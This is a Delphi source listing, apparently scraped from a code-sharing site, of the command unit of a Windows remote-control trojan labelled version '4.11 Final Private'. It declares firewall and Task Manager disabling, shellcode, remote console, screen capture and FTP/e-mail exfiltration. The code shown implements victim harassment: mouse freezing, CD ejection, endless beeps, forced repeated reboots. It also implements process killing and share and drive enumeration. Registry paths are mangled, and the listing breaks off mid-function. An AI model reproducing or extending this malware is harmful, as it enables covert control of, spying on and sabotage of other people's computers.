DMUCommandsAndUtils.pas
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:104k
源码类别:

Delphi控件源码

开发平台:

Delphi

  1. unit DMUCommandsAndUtils;
  2. interface
  3. uses Windows,winsock, wininet ,TlHelp32, MMSystem,ShellApi,WinSvc;
  4. function FindWindowsDir : string;
  5. function StrPos(const Str1, Str2: PChar): PChar; assembler;
  6. function CloseProcces(Exefile: string): string;
  7. function ProcessExists (Exefile: string): Boolean;
  8. function GetLocalHostName: string;
  9. function SendData (SOCKET : TSOCKET;Data :string): integer;
  10. function FindChar(Word: string;char : string):integer  ;
  11. function FindNChars(Word: string;char : string):integer  ;
  12. function split (text : string;char : string; num : integer):string;
  13. function GetLocalPath:string;
  14. function ShellEx(Path : string):string;
  15. function LocalIP: string;
  16. function PeerToAddress(Socket: TSocket): string;
  17. function Replace(strSource:string; strToFind:string; strReplace:string): string;
  18. procedure CrearThreadRegistro (key : string; data : string; appname : string);
  19. procedure VaciarPapelera( Whandle : Thandle );
  20. function Get_SysPath:string  ;
  21. function VentanaActiva: String;
  22. function Usuario: String;
  23. function NombreHost: String;
  24. function TextoValido( b :  Array of Char ):string;
  25. function EsXP : Boolean;
  26. function Descargar( url : String; Parametro2: String  ): boolean;
  27. procedure NTAdjustTokens(lpName : PChar; Attributes : LongWord);
  28. function  BorrarArchivo( s: String ): integer;
  29. procedure showm( s : String );
  30. function GetCPUSpeed: Double;
  31. function FileExists( s : String ): Boolean;
  32. function StrToInt64(const S: string): Int64;
  33. function BuffToStr( const b : Array of Char ) : string;
  34. function StrToInt(const S: string ): Integer;
  35. function StrPas(const Str: PChar): string;
  36. function IntToStr(Value: Integer): string;
  37. function StrPCopy(Dest: PChar; const Source: string): PChar;
  38. function LowerCase(const S: string): string;
  39. function SigFrmToStr(Value: Integer; FormatStr : PChar): string;
  40. function UnSigFrmToStr(Value: Cardinal; FormatStr : PChar): string;
  41. function StrToIntDef(const S: string; Default: Integer): Integer;
  42. function Trim(const S: string): string;
  43. function UpperCase( S :String ): String ;
  44. function Time : string;
  45. function ddate : string;
  46. function stringtochar(st : string) : char;
  47. function HexToInt(s: string): Longword;
  48. function GenerarRandomString: String;
  49. procedure PresionarTecla( key: Byte );
  50. function OpenCloseCD( handle : THandle ): String ;
  51. function MsgWindows( n : Byte; Parametro : String ) : String ;
  52. function ActivarDesactivarBotonInicio : String;
  53. function EsconderMostrarTaskBar : String;
  54. function ShowHideSysTray : String ;
  55. function HideShowIconos : String;
  56. function SwapMouse : String;
  57. function PonerPapelTapiz( Parametro : String) : String;
  58. function CongelarMouse : String;
  59. function ReiniciarWindows : String;
  60. function PlaySound( Parametro : String ): String;
  61. function Minimizar: String;
  62. function MouseLocos : String;
  63. function RebotaInicio : String;
  64. function EjecutarScreenSaver( WHandle : Thandle ) : String;
  65. function MinAll : String ;
  66. function CambiarCaption( Parametro : String ) : String;
  67. function DesplegarInicio( WHandle : Thandle) : String;
  68. function SonarParlantito: String;
  69. function KillProcess( Parametro : String): String;
  70. function Procces( ):string;
  71. function SystemInfo() : string;
  72. function DelTree( Parametro : String ): string;
  73. function  Ocultar( Path : String; oculto:Boolean  ): String ;
  74. procedure BuscaFicheros( path, mask : String;SOCKET: Tsocket );
  75. function  Resoluciones( udp : Tsocket; cli : Tsockaddr; tcp:integer) : String ;
  76. function  ClearCmos : String ;
  77. function  LeerPortaPapeles( WHandle : Thandle ) : String;
  78. function  Borrar_Clipboard( handle : Thandle ) : String;
  79. procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String ; tcp:integer);
  80. function  CambiarNombrePC( parametro : string ): string;
  81. function  Set_Resolucion( Parametro : String ) : string;
  82. function  SetTime( parametro : String ) : String;
  83. function  Color_Ventanas( Parametro :string ) : String;
  84. function  Color3d( Parametro : String) : String;
  85. function  Color_Menues( parametro : String ): String ;
  86. function  Sacar_Apagar_sistema : String;
  87. function  Poner_Apagar_sistema : String;
  88. function MandarUnidadesDeAlmacenamiento(socket : TSocket ): string;
  89. function  CrearThreadVivorita: String;
  90. procedure Lan_Info( udp: Tsocket; cli:TsockAddr; tcp: integer );
  91. function  NetInfo( Udp : Tsocket; Cli : TSockAddr; tcp: integer ): String;
  92. function capture ( JPGCompressQuality:Integer ): String;
  93. function LIST( dir : string ):string;
  94. procedure SendEMAIL(SMTP : string;EMAIL:string;MyEMAIL : string);
  95. function GetFileName (text : string):string;
  96. function ListWindows : string;
  97. procedure SendFTP(Host: string;User : string; PASS : string;Port : integer; Dir : string);
  98. function WinVer: string;
  99. procedure LanzarProgramaConsola(App: string; c: Boolean; socket : Tsocket);
  100. function Decrypt(const S: AnsiString; Key: Word): AnsiString;
  101. function Encrypt(const S: AnsiString; Key: Word): AnsiString;
  102. procedure DisableXPFirewall;
  103. //Explorer
  104. function Noclose(value : integer): string;
  105. function NoRun(value : integer): string;
  106. function NoLogoff(value : integer): string;
  107. function NoDesktop(value : integer): string;
  108. function NoFind (value : integer): string;
  109. function NoNetConnectDisconnect (value : integer): string;
  110. function NoSetFolders(value : integer): string;
  111. function NoControlPanel(value : integer): string;
  112. function NoDrives (value : integer): string;
  113. function ResrictRun(value : integer): string;
  114. //System
  115. function DisableTaskMgr(value : integer): string;
  116. function NoDispCPL(value : integer): string;
  117. function NoDispBackgroundPage(value : integer): string;
  118. //network
  119. function NoWorkgroupContents(value : integer): string;
  120. function NoEntireNetwork(value : integer): string;
  121. function NoFileSharingControl(value : integer): string;
  122. function NoPrintSharing(value : integer): string;
  123. procedure SetmousePOS(x : integer; y : integer);
  124. procedure ShellCode ;
  125. function ServiceGetList(Machine: string): string;
  126. procedure StartService(Machine, ServiceName: string);
  127. procedure StopService(Machine, ServiceName: string);
  128. procedure UninstallService(Machine, ServiceName: string);
  129. procedure InstallService(Machine, ServiceName, DisplayName, FileName: string);
  130. function ShutDownWindows(RebootParam: Longword): Boolean;
  131. function MatarMouseTeclado : String;
  132. function SendDataMSN (SOCKET : TSOCKET;Data :string): integer;
  133. procedure ExtractResourceToFile( ResName, ResExtract: String);
  134. const
  135. DMVersion = '4.11 Final Private';
  136. type
  137. TAByte = array [0..maxInt      -1] of byte;
  138. TPAByte = ^TAByte;
  139. var   Parlante, Basta, Congelado, Bloqueado, CDROMCerrado, SMouse, TaskBar, SysTray, Iconos,
  140.       Bajando, MonitorPrendido, BotonInicio, Monitor_Activado, LucecitasActivadas,
  141.       MouseLoco, Rebota, Vivorita : Boolean;
  142.            
  143.       //esto es para el boton de inicio
  144.       h    : THandle;
  145.       r    : TRect;
  146.       Grave: Integer = 20;
  147.       //para consola
  148.       ConsolaApp : String;
  149.       RunPipe    : Boolean;
  150.       EsConsola  : Boolean;
  151.       ConsoleSocket : Tsocket;
  152.        Clave   : String;
  153.         ProcessTmp :string    ;
  154.        regkey,regdata,regappname: string;
  155.        WindowsLISTtmp : string;
  156.         DeskLoaded : boolean;
  157.         ConnectionType : integer;
  158.         Data_PASS : string;
  159. implementation
  160. function GetFileName (text : string):string;
  161.   var
  162.   a,i : integer;
  163.   begin
  164.   a:= FindNChars(text,'');
  165.   for i := 1 to a  do begin
  166.   text:=copy ( text, findchar(text,'')+1,length(text));
  167.   end;
  168.      
  169.   Result:=text;
  170.   end;
  171.  ///////////////////////////////////////////////////////////////////////////////
  172. function capture ( JPGCompressQuality:Integer ): String;
  173. type TgetDesktop = function(nWidth : Integer; nHeight : Integer; blnJpeg : Boolean; JPGCompressQuality:Integer; strFileName : String): Integer; stdcall;
  174. var
  175.   DLLInstance : THandle;
  176.   getDesktop : TgetDesktop;
  177. begin
  178.   Result:='&1&';
  179.       if  DeskLoaded=false then begin
  180. DLLInstance := LoadLibrary('desk.dll');
  181.      Result:='&1&';
  182.   if DLLInstance = 0 then begin
  183.     Result:='&0&';
  184.     Exit;
  185.   end;
  186.   end;
  187.       DeskLoaded:=true  ;
  188.   @getDesktop := GetProcAddress(DLLInstance, 'getDesktop');
  189.   if @getDesktop <> nil then
  190.     getDesktop(0,0,true,JPGCompressQuality,pchar (Get_SysPath) + 'desk.jpg')
  191.   else
  192.   DeskLoaded:=false  ;
  193.   FreeLibrary(DLLInstance);
  194. end;
  195.   ///////////////////////////////////////////////////////////////////////////////
  196. function OpenCloseCD( handle : THandle ): String ;
  197. begin
  198.         if CDROMCerrado then
  199.         begin
  200.            CDROMCerrado := FALSE;
  201.            mciSendString( 'Set cdaudio door open wait', nil, 0, handle );
  202.            Result := '&0&';
  203.         end
  204.         else
  205.         begin
  206.              CDROMCerrado := TRUE;
  207.              mciSendString( 'Set cdaudio door closed wait' , nil , 0 , handle );//cerrar cd
  208.              Result := '&1&';
  209.         end;
  210. end;
  211.  ///////////////////////////////////////////////////////////////////////////////
  212. function MsgWindows( n : Byte; Parametro : String ) : String;
  213. begin
  214.     Case n of
  215.       0 : MessageBox( 0 , pchar( Parametro ) , 'Information' , MB_OK + MB_ICONINFORMATION + MB_SYSTEMMODAL );
  216.         1 : MessageBox( 0 , pchar( Parametro ) , 'Question'    , MB_OK + MB_ICONQUESTION    + MB_SYSTEMMODAL );
  217.         2 : MessageBox( 0 , pchar( Parametro ) , 'Warning'     , MB_OK + MB_ICONWARNING     + MB_SYSTEMMODAL );
  218.         3 : MessageBox( 0 , pchar( Parametro ) , 'Stop'        , MB_OK + MB_ICONSTOP        + MB_SYSTEMMODAL );
  219.         4 : MessageBox( 0 , pchar( Parametro ) , 'Question'    , MB_YESNO + MB_ICONQUESTION + MB_SYSTEMMODAL );
  220.      end;
  221.     Result := 'Message Showed';
  222. end;
  223.  ///////////////////////////////////////////////////////////////////////////////
  224. function ActivarDesactivarBotonInicio : String;
  225. begin
  226.      if BotonInicio then
  227.      begin
  228.           EnableWindow( FindWindowEx( FindWindow( 'Shell_TrayWnd', nil ) , 0 , 'Button', nil ) , false );
  229.           Result := '&0&';
  230.           BotonInicio := False;
  231.      end
  232.      else
  233.          begin
  234.              EnableWindow( FindWindowEx( FindWindow( 'Shell_TrayWnd' , nil ) , 0 , 'Button' , nil ) , true );
  235.              Result := '&1&';
  236.              BotonInicio := True;
  237.          end;
  238. end;
  239.       ///////////////////////////////////////////////////////////////////////////////
  240. function EsconderMostrarTaskBar : String;
  241. var htaskbar : THandle;
  242. begin
  243.      hTaskBar := FindWindow( 'Shell_TrayWnd', nil );
  244.      if TaskBar then
  245.      begin
  246.           ShowWindow( hTaskBar , SW_Hide );
  247.           TaskBar := FALSE;
  248.           Result := '&0&';
  249.      end
  250.      else
  251.      begin
  252.            ShowWindow( hTaskBar , SW_SHOW );
  253.            TaskBar := TRUE;
  254.            Result := '&1&';
  255.      end;
  256. end;
  257.   ///////////////////////////////////////////////////////////////////////////////
  258. function ShowHideSysTray : String ;
  259. var wnd:Thandle;
  260. begin
  261.      Wnd := FindWindow( 'Shell_TrayWnd' , nil );
  262.      Wnd := FindWindowEx( Wnd , HWND( 0 ) , 'TrayNotifyWnd' , nil );
  263.      if SysTray then
  264.      begin
  265.            ShowWindow( Wnd, SW_HIDe );
  266.            Systray := FALSE;
  267.            Result := '&0&';
  268.      end
  269.      else begin
  270.               ShowWindow( Wnd , SW_Show );
  271.               SysTray := TRUE;
  272.               Result := '&1&';
  273.           end;
  274. end;
  275.   ///////////////////////////////////////////////////////////////////////////////
  276. function HideShowIconos : String;
  277. var wnd: THandle;
  278. begin
  279.      Wnd := FindWindow( 'Progman' , nil );
  280.      Wnd := FindWindowEx( Wnd , HWND( 0 ) , 'ShellDll_DefView' , nil );
  281.      if Iconos then
  282.      begin
  283.           ShowWindow( Wnd , SW_Hide );
  284.           Iconos := FALSE;
  285.           Result := '&0&';
  286.      end
  287.     else begin
  288.              ShowWindow( Wnd , SW_Show );
  289.              Iconos := TRUE;
  290.              Result := '&1&';
  291.          end;
  292. end;
  293.   ///////////////////////////////////////////////////////////////////////////////
  294. function SwapMouse : String;
  295. begin
  296.      if  SMouse then
  297.      begin
  298.           SwapMouseButton( FALSE );
  299.           SMouse := FALSE;
  300.           Result := '&0&';
  301.      end
  302.      else begin
  303.               SwapMouseButton( TRUE );
  304.               SMouse := TRUE;
  305.               Result := '&0&';
  306.           end;
  307. end;
  308.   ///////////////////////////////////////////////////////////////////////////////
  309. function PonerPapelTapiz( PArametro : String) : String;
  310. begin
  311.      if FileExists( Parametro )then
  312.      begin
  313.           SystemParametersInfo( SPI_SETDESKWALLPAPER , 0 , PChar( Parametro ) , 0 );
  314.           Result := 'Background enabled';
  315.      end
  316.      else
  317.           Result := 'File doesnt' + Parametro + ' exits';
  318. end;
  319.   ///////////////////////////////////////////////////////////////////////////////
  320. procedure FijarCursor;
  321. begin
  322.      while congelado do
  323.      begin
  324.           SetCursorPos( 50,50 );
  325.           Sleep( 50 );
  326.     end;
  327. end;
  328.   ///////////////////////////////////////////////////////////////////////////////
  329. function CongelarMouse : String;
  330. var id: Cardinal;
  331. begin
  332.      if Congelado then
  333.      begin
  334.           Result := '&1&';
  335.           Congelado := FALSE;
  336.      end
  337.      else begin
  338.                Congelado := TRUE;
  339.                BeginThread(nil, 0, @FijarCursor, nil, 0, id );
  340.                Result := '&0&';
  341.           end;
  342. end;
  343.   ///////////////////////////////////////////////////////////////////////////////
  344. function ReiniciarWindows : String;
  345. var i:Byte;
  346. begin
  347.      For i:= 1 to 30 do
  348.          ExitWindowsEx(EWX_FORCE or EWX_REBOOT, 0);
  349. end;
  350.   ///////////////////////////////////////////////////////////////////////////////
  351. function PlaySound( Parametro : String ): String;
  352. type TPS = function (lpszSoundName: PAnsiChar; uFlags: UINT): BOOL; stdcall;
  353. var  PS : TPS;
  354.      h : THandle;
  355. begin
  356.       if FileExists( Parametro ) then
  357.       begin
  358.            h   := LoadLibrary( 'winmm.dll' );
  359.            @PS := GetProcAddress( H, 'sndPlaySoundA' );
  360.            if PS( Pchar( Parametro ) , 0 ) then
  361.                Result := 'Tha sound was played'
  362.            else
  363.                Result := 'Sound wasnt played';
  364.            FreeLibrary( H );
  365.       end
  366.       else
  367.           Result := 'File' + Parametro + ' Dosnt exits';
  368. end;
  369.  ///////////////////////////////////////////////////////////////////////////////
  370. function Minimizar: String;
  371. begin
  372.      ShowWindow( GetActiveWindow, SW_MINIMIZE );
  373.      Result := 'The window"' + VentanaActiva + '", was minimised!!!';
  374. end;
  375.    ///////////////////////////////////////////////////////////////////////////////
  376. procedure CambiarPosicionmouse;
  377. begin
  378.      while MouseLoco do
  379.      begin
  380.           Randomize;
  381.           SetCursorPos( 800 - 15, 600 - 15 );
  382.           SetCursorPos( Random( 800 ), Random( 600 ) );
  383.      end;
  384. end;
  385.   ///////////////////////////////////////////////////////////////////////////////
  386. function MouseLocos : String;
  387. var id: cardinal;
  388. begin
  389.      if not MouseLoco then
  390.      begin
  391.           Result := '&0&';
  392.           MouseLoco := TRUE;
  393.           BeginThread(nil, 0, @CambiarPosicionmouse, nil, 0, id);
  394.      end
  395.      else
  396.          begin
  397.               Result := '&1&';
  398.               MouseLoco := FALSE;
  399.          end;
  400. end;
  401.   ///////////////////////////////////////////////////////////////////////////////
  402. procedure MoverBoton ;
  403. begin
  404.      while Rebota do
  405.      begin
  406.           if grave < -20  then grave := 20;
  407.           Inc( r.Left , Grave );
  408.           MoveWindow( h , r.Left , 0 , 80 , 26 , TRUE );
  409.           Dec( Grave );
  410.           Sleep( 100 );
  411.      end;
  412. end;
  413.     ///////////////////////////////////////////////////////////////////////////////
  414. function RebotaInicio : String;
  415. var id: cardinal;
  416. begin
  417.      Grave := 20;
  418.      h     := FindWindowEx( FindWindow( 'Shell_TrayWnd', nil ) , 0 , 'Button', nil ) ;
  419.      GetWindowRect( h , r );
  420.      MoveWindow( h , 0 , 0 , 80 , 26 , TRUE );
  421.      Rebota := not Rebota;
  422.      if Rebota then
  423.      begin
  424.           BeginThread(nil, 0, @MoverBoton, nil, 0, id );
  425.           Result := '&0&';
  426.      end
  427.      else
  428.          begin
  429.               Result := '&1&';
  430.          end;
  431. end;
  432.     ///////////////////////////////////////////////////////////////////////////////
  433. function EjecutarScreenSaver( WHandle : Thandle ) : String;
  434. begin
  435.      try SendMessage( WHandle, $0112 , SC_SCREENSAVE, 0 ); except end;
  436.      Result := 'Screensaver actived';
  437. end;
  438.   ///////////////////////////////////////////////////////////////////////////////
  439. function MinAll : String ;
  440. begin
  441.      keybd_event(VK_LWIN,0,0,0);
  442.      keybd_event(77,0,0,0);
  443.      keybd_event(VK_LWIN,0,KEYEVENTF_KEYUP,0);
  444.      Result :=  'All windows were minimised';
  445. end;
  446. function CambiarCaption( Parametro : String ) : String;
  447. begin
  448.      try SetWindowText( GetActiveWindow, PChar( Parametro ) ); except end;
  449.      Result := 'Tittle changed';
  450. end;
  451.  ///////////////////////////////////////////////////////////////////////////////
  452. function DesplegarInicio( WHandle : Thandle) : String;
  453. begin
  454.      SendMessage( wHandle, $0112, SC_TASKLIST, 0 );
  455.      Result := '&0&';
  456. end;
  457.   ///////////////////////////////////////////////////////////////////////////////
  458. procedure ThreadParlantito;
  459. begin
  460.      while Parlante do
  461.      begin
  462.           MessageBeep( 3542 );
  463.           Sleep( 10 );
  464.      end;
  465. end;
  466.   ///////////////////////////////////////////////////////////////////////////////
  467. function SonarParlantito: String;
  468. var id: cardinal;
  469. begin
  470.      if Parlante then
  471.      begin
  472.           Parlante := False;
  473.           Result   := 'Beeps disabled';
  474.      end
  475.      else
  476.           begin
  477.                Parlante := True;
  478.                Result   := 'Beeps enabled!';
  479.                BeginThread(nil, 0, @ThreadParlantito, nil, 0, id );
  480.           end;
  481. end;
  482.  ///////////////////////////////////////////////////////////////////////////////
  483. function KillProcess( Parametro : String): String;
  484. var h : THandle;
  485. begin
  486.      Result := 'The Process: ' +  Parametro +  ' was not terminated!';
  487.      PostMessage(strtoint(Parametro),$0010,0,0);
  488.     try h:= OpenProcess( PROCESS_ALL_ACCESS, TRUE, StrToInt64( parametro ) );
  489.       if TerminateProcess( h, 0 ) then
  490.       Result := 'The Process: '   +  Parametro + ' was terminated';
  491.      except
  492.    end;
  493. end;
  494.  ///////////////////////////////////////////////////////////////////////////////
  495.     Function TotalAPP(HWND : Thandle; Param : Integer): BOOL; stdcall;
  496.     var
  497.     caption: array [0..256] of Char;
  498.        j : INTEGER;
  499.     begin
  500.    if GetWindowText  (HWND, Caption, SizeOf(Caption)-1) <> 0 then
  501.   begin
  502.            if  IsWindowVisible(HWND) then
  503.         begin
  504.      WindowsLISTtmp:=WindowsLISTtmp +  Caption + '*';
  505.             end
  506.             else
  507.             begin
  508.                WindowsLISTtmp:=WindowsLISTtmp +  Caption + '*';
  509.             end;
  510.     end;
  511.       end  ;
  512.   ///////////////////////////////////////////////////////////////////////////////
  513. function ListWindows : string;
  514. begin
  515.       WindowsLISTtmp:='';
  516.    EnumWindows(@TotalAPP,0);
  517.    result:='$'  +   WindowsLISTtmp  ;
  518. end;
  519.   ///////////////////////////////////////////////////////////////////////////////
  520.  function EnumWindowsProc1 (Wnd: HWND): BOOL; stdcall;
  521. var
  522.   caption: array [0..256] of Char;
  523. begin
  524.   Result := True;
  525.   if GetWindowText  (Wnd, Caption, SizeOf(Caption)-1) <> 0 then
  526.   begin
  527.    if  IsWindowVisible(wnd) then
  528.         begin
  529.          ProcessTmp:=ProcessTmp + #13#10 + inttostr(wnd) + '  ' +  caption;
  530.         end;
  531.   end;
  532. end;
  533.  ///////////////////////////////////////////////////////////////////////////////
  534. function Procces(): string;
  535. var Proceso : TProcessEntry32;
  536.     SHandle : THandle;
  537.     Next    : Boolean;
  538.       handles : integer;
  539. begin
  540.             ProcessTmp:='';
  541.      EnumWindows(@TotalAPP,0);
  542.       Proceso.dwSize := SizeOf( TProcessEntry32 );
  543.       SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  544.       if Process32First( SHandle, Proceso ) then
  545.       begin
  546.           ProcessTmp:=ProcessTmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
  547.            repeat Next := Process32Next( SHandle , Proceso );
  548.            ProcessTmp:=ProcessTmp + '~' + IntToStr( Proceso.th32ProcessID ) + '-'  +  Proceso.szExeFile;
  549.            until not Next;
  550.       end;
  551.       CloseHandle( SHandle );
  552.       Result :=ProcessTmp
  553.       end;
  554.  ///////////////////////////////////////////////////////////////////////////////
  555. function CloseProcces(Exefile: string): string;
  556. var Proceso : TProcessEntry32;
  557.     SHandle : THandle;
  558.     Next    : Boolean;
  559.       Tmp :string    ;
  560. begin
  561.       Proceso.dwSize := SizeOf( TProcessEntry32 );
  562.       SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  563.       if Process32First( SHandle, Proceso ) then
  564.       begin
  565.           Tmp:=Tmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
  566.            repeat Next := Process32Next( SHandle , Proceso );
  567.                   if   LowerCase( Proceso.szExeFile)=LowerCase(Exefile)    then begin
  568.                   KillProcess ( IntToStr( Proceso.th32ProcessID ) );
  569.                 // Tmp:=Tmp + #13#10 + IntToStr( Proceso.th32ProcessID ) + '  '  + Proceso.szExeFile;
  570.                        end;
  571.            until not Next;
  572.       end;
  573.       CloseHandle( SHandle );
  574.       Result :=''
  575.       end;
  576.   ///////////////////////////////////////////////////////////////////////////////
  577. function ProcessExists (Exefile: string): Boolean;
  578. var Proceso : TProcessEntry32;
  579.     SHandle : THandle;
  580.     Next    : Boolean;
  581.       Tmp :string    ;
  582.       Tmp2 :string    ;
  583.       files : integer;
  584. begin
  585. result:=false;
  586.       Proceso.dwSize := SizeOf( TProcessEntry32 );
  587.       SHandle := CreateToolHelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
  588.       if Process32First( SHandle, Proceso ) then
  589.       begin
  590.           Tmp:=Tmp + IntToStr( Proceso.th32ProcessID ) + '  ' + Proceso.szExeFile;
  591.            repeat Next := Process32Next( SHandle , Proceso );
  592.                  Tmp2:= Proceso.szExeFile;
  593.                  fileS:= length(Tmp2);
  594.            if   copy(LowerCase(Proceso.szExeFile),fileS+1-length(Exefile), length(Exefile)) =LowerCase(Exefile)    then begin
  595.             result:=true;
  596.                        end;
  597.            until not Next;
  598.       end;
  599.       CloseHandle( SHandle );
  600.       end;
  601.  ///////////////////////////////////////////////////////////////////////////////
  602. function MandarUnidadesDeAlmacenamiento(socket : TSocket ): string;
  603. type Buffer = Array [ 1..50 ] of Char;
  604. var nombre,serie,fsystem : buffer;
  605.     tamNombre, longMax, flags, tamFS:cardinal;
  606.     anombre, s:string;
  607.     letra:char;
  608.     error:boolean;
  609.     Data : string;
  610. begin
  611.      letra := 'c';
  612.      s     := '';
  613.      repeat
  614.            tamNombre := sizeOf( nombre ) + 1;
  615.            tamFS     := sizeOf( fsystem ) + 1;
  616.            error     := not GetVolumeInformation( LPCTSTR( letra + ':' ),
  617.                                            @nombre,
  618.                                            tamNombre,
  619.                                            @serie,
  620.                                            longMax,
  621.                                            flags,
  622.                                            @fsystem,
  623.                                            tamFS );
  624.            if not error then
  625.            begin
  626.                 anombre := textoValido( nombre );
  627.                 if anombre = '' then
  628.                    anombre := 'Local Disk';
  629.                   sleep (10);
  630.             Data:= Data + uppercase( letra ) +  ':'  + '-' +  textoValido( fsystem ) +  '*' ;
  631.            end;
  632.            letra:= Chr( Ord( letra ) + 1 );
  633.      until letra = 'z';
  634.     result:= Data       ;
  635. end;
  636.   ///////////////////////////////////////////////////////////////////////////////
  637. //Muetra informacion de RED (Conexiones Locales, Grupos de trabajo)
  638. function NetInfo( Udp : Tsocket; Cli : TSockAddr; tcp: integer ): String;
  639. var   lpocal: TNetResource;
  640.       pas1, pas2, pas3 : PChar;
  641.       pas4 : Integer;
  642.       pas5 : Byte;
  643.       DataRet: String;
  644.       Recursos : String;
  645. function EnumerateFunc(HWND:THandle; lpnr: TNetResource; device: PChar; Unidad: PChar; Pasw: PChar; Flg: Integer; Tipo: Byte):boolean;
  646. var  dwResult, dwResultEnum : DWORD;
  647.      henum:THandle;
  648.      cEntries:DWORD;
  649.      lpnrLocal: Array [0..40] of TNetResource;
  650.      cbBuffer:DWORD;
  651.      i:integer;
  652. begin
  653.      cEntries := $FFFFFFFF;
  654.      cbBuffer:=SizeOf(lpnrLocal);
  655.      if lpnr.dwScope = 3000 then
  656.      begin
  657.           dwResult:=WNetOpenEnum(RESOURCE_GLOBALNET,RESOURCETYPE_ANY, 0,nil,henum);
  658.           lpnr.dwScope := 0;
  659.      end
  660.      else
  661.          dwResult:=WNetOpenEnum(RESOURCE_GLOBALNET,RESOURCETYPE_ANY, 0,@lpnr,henum);
  662.      if (dwResult <> NO_ERROR) then
  663.      begin
  664.           Result:=False;
  665.           exit;
  666.      end;
  667.      dwResultEnum := 0;
  668.      while(dwResultEnum <> ERROR_NO_MORE_ITEMS) do
  669.      begin
  670.           dwResultEnum := WNetEnumResource(hEnum, cEntries, @lpnrLocal, cbBuffer);
  671.           if (dwResultEnum = NO_ERROR) then
  672.           begin
  673.                for i:= 0 to cEntries - 1 do
  674.                begin
  675.                     if(RESOURCEUSAGE_CONTAINER = (lpnrLocal[i].dwUsage and RESOURCEUSAGE_CONTAINER)) then
  676.                     begin
  677.                          if (lpnrLocal[ i ].lpProvider <> '') and (lpnrLocal[ i ].lpRemoteName = '') then
  678.                              Dataret := Dataret + ' ' + lpnrLocal[ i ].lpProvider + ' - ' + IntToStr(lpnrLocal[i].dwDisplayType) + #13#10;
  679.                          Dataret := Dataret + ' ' + lpnrLocal[ i ].lpRemoteName +  ' - ' + IntToStr(lpnrLocal[i].dwDisplayType) + #13#10;
  680.                          if (lpnrLocal[ i ].lpRemoteName = string(device)) and (Tipo = 0) then
  681.                          begin
  682.                              lpnrLocal[ i ].lpLocalName := Unidad;
  683.                              WNetAddConnection2(lpnrLocal[i], Pasw, Unidad, Flg);
  684.                          end;
  685.                          if(not EnumerateFunc(hwnd, lpnrLocal[i], device, Unidad, Pasw, Flg, Tipo)) then
  686.                          else
  687.                          begin
  688.                               if (dwResultEnum <> ERROR_NO_MORE_ITEMS) then
  689.                               begin
  690.                                  //exit;
  691.                               end;
  692.                     end;
  693.                end
  694.                else
  695.                    begin   //Si no es un contenedor de otros recursos
  696.                            //Conecta el dispositivo remoto a una unidad local, eso creo YO!!
  697.                         if (lpnrLocal[i].lpRemoteName = string(device)) and (Tipo = 1) then
  698.                         begin
  699.                              lpnrLocal[i].lpLocalName := Unidad;
  700.                              WNetAddConnection2(lpnrLocal[i], Pasw, nil, Flg);
  701.                         end;
  702.                         if lpnrLocal[ i ].lpRemoteName <> '' then
  703.                            Dataret := Dataret + '          ' + lpnrLocal[i].lpRemoteName {+ '(+)' +
  704.                                       IntToStr(lpnrLocal[i].dwType) }+ '(' + lpnrLocal[i].lpComment + ')' + #13#10;
  705.                         Recursos := Recursos +  lpnrLocal[i].lpRemoteName + '|';
  706.                    end;
  707.        end;
  708.       end;
  709.     end;
  710.     {dwResult :=} WNetCloseEnum(hEnum);
  711.     Result:=true;
  712. end;
  713.  ///////////////////////////////////////////////////////////////////////////////
  714. begin
  715.      FillChar( lpocal, SizeOf( lpocal ), 0 );
  716.      lpocal.dwScope := 3000;
  717.      EnumerateFunc( 0, lpocal, pas1, pas2, pas3, pas4, pas5 );
  718.     
  719.      Result := Recursos;
  720. end;
  721.   ///////////////////////////////////////////////////////////////////////////////
  722. function Leer( algo : DWORD; Key, Clave : String) : String;
  723. var Tipo_Dato, Len_Dato : Cardinal;
  724.     Buffer : String;
  725.     handle : HKEY;
  726. begin
  727.     RegOpenKeyEx( algo,
  728.                   PChar( Key ),
  729.                   0,
  730.                   KEY_ALL_ACCESS,
  731.                   handle );
  732.     Tipo_Dato := REG_NONE;
  733.     RegQueryValueEx( handle,
  734.                      PChar( Clave ),
  735.                      nil,
  736.                      @Tipo_Dato,
  737.                      nil,
  738.                      @Len_Dato );
  739.     SetString(Buffer, nil, Len_Dato);
  740.     RegQueryValueEx( Handle,
  741.                      PChar( Clave ),
  742.                      nil,
  743.                      @Tipo_Dato,
  744.                      PByte(PChar(Buffer)),
  745.                      @Len_Dato );
  746.     RegCloseKey( handle );
  747.     Result := PChar( Buffer );
  748. end;
  749.   ///////////////////////////////////////////////////////////////////////////////
  750. procedure Lan_Info( udp: Tsocket; cli:TsockAddr; tcp:integer );
  751. begin
  752.      //Contestar( UDP, Cli ,' ',tcp );
  753.    //  Contestar( UDP, Cli ,'Host: ' + NombreHost ,tcp);
  754.      //Contestar( UDP, Cli ,'LAN info', tcp );
  755.    //  Contestar( UDP, Cli ,'IPs:  ' + GetLocalIps, tcp );
  756.      NetInfo( UDP, Cli,tcp );
  757.     // Contestar( UDP, Cli ,'--------------------------------------------------------------',tcp );
  758.      //Contestar( UDP, Cli ,'',tcp );
  759. end;
  760.    ///////////////////////////////////////////////////////////////////////////////
  761. function SystemInfo() : string;
  762. const
  763.   cBIOSName      = $FE061;
  764.   cBIOSDate      = $FFFF5;
  765.   cBIOSExtInfo   = $FEC71;
  766.   cBIOSCopyright = $FE091;
  767.   rkBIOS         = 'HARDWAREDESCRIPTIONSystem';
  768.   rvBiosDate     = 'SystemBiosDate';
  769.   rvBiosID       = 'Identifier';
  770.   rvBiosVersion  = 'SystemBiosVersion';
  771. var OS : TOSVersionInfo;
  772.     SI : TSystemInfo;
  773.     MS : TMemoryStatus;
  774.     Version, User, Org, Serial, Zona_Horaria, Cpu : String;
  775.     tipoConexion: DWORD;
  776.     data : string;
  777. begin
  778.     Zona_Horaria := Leer( HKEY_LOCAL_MACHINE,
  779.                           'SYSTEMCurrentControlSetControlTimeZoneInformation',
  780.                           'StandardName' );
  781.     Version := Leer( HKEY_LOCAL_MACHINE,
